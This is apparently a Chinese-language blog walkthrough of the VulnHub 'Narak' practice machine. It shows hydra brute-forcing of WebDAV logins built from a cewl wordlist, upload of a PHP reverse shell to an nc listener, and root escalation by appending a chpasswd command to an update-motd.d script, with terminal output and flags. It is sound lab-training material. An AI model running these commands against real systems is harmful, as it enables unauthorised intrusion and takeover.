VulnHub-Narak

Description

Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.

Objective: Find 2 flags (user.txt and root.txt)

探测靶机

nmap  192.168.157.0/24

路径扫描

点击网页底部的 Do Not Click

既然有/images/666.jpg?,那么就扫一下路径,得到 /webdav

webdav是一种基于 HTTP 1.1协议的通信协议

dirsearch -u 192.168.157.140

定制字典

尝试访问后发现需要账户密码,用cewl工具爬取爆破字典

爬虫会根据指定的URL深度进行爬取,然后打印出可用于密码破解的字典

cewl http://192.168.157.140 -w dict.txt

爆破账户密码

尝试用hydra爆破

hydra -L dict.txt -P dict.txt 192.168.157.140 http-get /webdav

成功获取账户密码登入

上传shell

这里需要上传一个shell,使用工具 Cadaver

Cadaver是一个用来浏览和修改WebDAV共享的Linux、Unix命令行程序

可以利用 put 命令上传

cp /usr/share/webshells/php/php-reverse-shell.php .         #将kali自带反弹shell文件拷贝到当前目录
vim php-reverse-shell.php #编辑这个文件,将ip改为kali的ip 端口改为kali的端口

先启用监听4444端口:

nc -lnvp 4444

我这里将文件名重命名为 shell.php

上传成功后,访问网站

www-data权限已经拿到。而且我们现在的用户是yamdoot

信息收集

执行python命令,使命令行变成交互式

python3 -c "import pty;pty.spawn('/bin/bash')"           #升级优化一下shell

这里是www-data用户

www-data用户没有su权限。www-data是Ubuntu中运行Web服务的默认用户,权限较低。

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

命令解释:

从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写

如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null

在/mnt文件夹里面有一个hell.sh文件,里面放着一串brianfuck编码

解码得到 chitragupt ,猜测是某用户的密码,查看所有用户,依次尝试登录

inferno 用户登录成功,那么用ssh连接

motd提权

提权前,在此权限下也能得到第一个flag:Flag{5f95bf06ce19af69bfa5e53f797ce6e2}

这里可以使用 motd提权

motd是message of the day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。

我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权。

echo "echo 'root:1234' | chpasswd">>/etc/update-motd.d/00-header

退出ssh的连接,然后重新使用ssh登录,触发执行我们修改root用户的命令,接着只需要su到root用户即可提权成功

后续操作如下

inferno@ubuntu:~$ echo "echo 'root:1234' | chpasswd">>/etc/update-motd.d/00-header
inferno@ubuntu:~$ exit
logout
Connection to 192.168.157.140 closed. ┌──(kali㉿kali)-[~/桌面]
└─$ ssh inferno@192.168.157.140
inferno@192.168.157.140's password:
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage New release '20.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it. Last login: Sun May 28 06:05:35 2023 from 192.168.157.131
inferno@ubuntu:~$ su root
Password:
root@ubuntu:/home/inferno# whoami
root
root@ubuntu:/home/inferno# find / -name 'root.txt'
/root/root.txt
root@ubuntu:/home/inferno# cat /root/root.txt
██████████████████████████████████████████████████████████████████████████████████████████
█░░░░░░██████████░░░░░░█░░░░░░░░░░░░░░█░░░░░░░░░░░░░░░░███░░░░░░░░░░░░░░█░░░░░░██░░░░░░░░█
█░░▄▀░░░░░░░░░░██░░▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀▄▀▄▀▄▀░░███░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀▄▀░░█
█░░▄▀▄▀▄▀▄▀▄▀░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░░░▄▀░░███░░▄▀░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░░░█
█░░▄▀░░░░░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░████░░▄▀░░███░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░███
█░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░░░▄▀░░███░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░▄▀░░███
█░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀▄▀▄▀▄▀░░███░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░███
█░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░▄▀░░░░███░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░▄▀░░███
█░░▄▀░░██░░▄▀░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█████░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░███
█░░▄▀░░██░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░░░░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░░░█
█░░▄▀░░██░░░░░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀▄▀░░█
█░░░░░░██████████░░░░░░█░░░░░░██░░░░░░█░░░░░░██░░░░░░░░░░█░░░░░░██░░░░░░█░░░░░░██░░░░░░░░█
██████████████████████████████████████████████████████████████████████████████████████████ Root Flag: {9440aee508b6215995219c58c8ba4b45} !! Congrats you have finished this task !! Contact us here: Hacking Articles : https://twitter.com/hackinarticles Jeenali Kothari : https://www.linkedin.com/in/jeenali-kothari/ +-+-+-+-+-+ +-+-+-+-+-+-+-+
|E|n|j|o|y| |H|A|C|K|I|N|G|
+-+-+-+-+-+ +-+-+-+-+-+-+-+
__________________________________

得到flag :Flag{9440aee508b6215995219c58c8ba4b45}

简单总结

学习了 cewl 、hydra 、Cadaver 工具的使用,初识 webdav ,很不错的入门靶机

VulnHub-Narak靶机渗透流程的更多相关文章

  1. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  2. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  3. Vulnhub JIS-CTF-VulnUpload靶机渗透

    配置问题解决 参考我的这篇文章https://www.cnblogs.com/A1oe/p/12571032.html更改网卡配置文件进行解决. 信息搜集 找到靶机 nmap -sP 192.168. ...

  4. Vulnhub webdeveloper靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.148 #综合扫描 访问一下发现是wordpress,wp直接上wpscan wpsc ...

  5. Vulnhub DC-8靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.146 #Enable OS detection, version detection ...

  6. Vulnhub DC-7靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.144 #端口扫描 查看robots.txt,看看admin,403,其他没有什么可利 ...

  7. Vulnhub DC-3靶机渗透

    修改错误配置 打开了ova文件会发现,怎么也找不到DC-3的ip地址,估计是网卡出了问题. 那么就先配置下网卡. 进入上面这个页面之前按e. 将这里的ro 替换为 rw signie init=/bi ...

  8. Vulnhub DC-5靶机渗透

    信息搜集 老样子,先找到靶机IP和扫描靶机 nmap -sP 192.168.146.0/24 #找靶机ip nmap -sS -Pn -A 192.168.146.141 #扫描端口 这次开的是80 ...

  9. Vulnhub DC-1靶机渗透

    简介 DC-1靶机是为了入门渗透测试的人准备的入门级的靶机,该靶机共有5个flag,其中最后一个finalflag是真的flag,其他都是提示性flag.这个靶机虽然简单,但是还是能学到一些基本的思路 ...

  10. Vulnhub -- DC2靶机渗透

    信息收集 nmap开始扫描 只开了80端口,直接打开ip地址发现无法打开网页,但是进行了域名的跳转 !这里发现了一个问题,其实还开了一个7744端口,但是使用-sV的方式是扫描不出来的,使用-p-后可 ...

随机推荐

  1. RMBG1.4服务器部署指南

    近期,一家AIGC公司BRIA开源了一个出圈的模型:RMBG-1.4,它可以实现高质量地一键去除图片中的背景.下面是一些具体的例子,可以看到这个模型可以实现非常精细的"抠图". R ...

  2. 处理flex布局

    点击查看代码 <view class="recommend-view"> <view class="title-view"> 热门推荐 ...

  3. JDK源码阅读-------自学笔记(六)(java.util.Arrays用法和描述浅析)

    工具类的使用 要多使用这个类,同时,很多算法包含其中,常见操作排序.查找.填充.打印等. 1.打印数组 ------Arrays.toString() 1 // 整型初始化 2 int[] integ ...

  4. java学习之旅(day.17)

    GUI编程 GUI:图形用户界面编程 GUI快淘汰了 GUI的核心技术:Swing . AWT 这是类 做一个场景页面涉及的组件 窗口.弹窗.面板.文本框.列表框.按钮.图片.监听事件.鼠标.键盘.破 ...

  5. docker镜像仓库管理Harbor

    一 部署Harbor 前提: Harbor需要运行在docker上面,所以首先需要在harbor部署机器上面自行部署docker和docker-compose docker-compose安装命令如下 ...

  6. MFC之多字节和宽字节的总结

    ANSI字符集  所支持的就是多字节的也叫窄字节,类型来说就对应char类型.Unicode字符集 也叫宽字符集 所支持的就是宽字符集,从类型上来说就是 wchar_t类型.gb2312是中国的编码, ...

  7. Chart.js (v2.9.4) 2-主要的函数和对象介绍

    Color() :主要负责渲染图表时候,针对颜色处理相关函数 helpers_core:工具对象,提供了基础的工具函数功能,遍历数组,扩展对象,合并对象,克隆对象等等. core_defaults:负 ...

  8. 记一次 .NET某质量检测中心系统 崩溃分析

    一:背景 1. 讲故事 这些天有点意思,遇到的几个程序故障都是和Windows操作系统或者第三方组件有关系,真的有点无语,今天就带给大家一例 IIS 相关的与大家分享,这是一家国企的.NET程序,出现 ...

  9. swap文件修复

    修复swap文件 vim -r /aaaa.swap

  10. web游览器的标签页仿 ios mac 苹果的墓碑机制 (js代码)

    背景: 本来项目开发系统防挂机功能,在其余游览器中均可以使用.但是呢在苹果的safair游览器中会出现几率失效,最后经过排查发现是苹果的墓碑机制导致.即:此标签页活跃,其他标签页假死.然后就导致防挂机 ...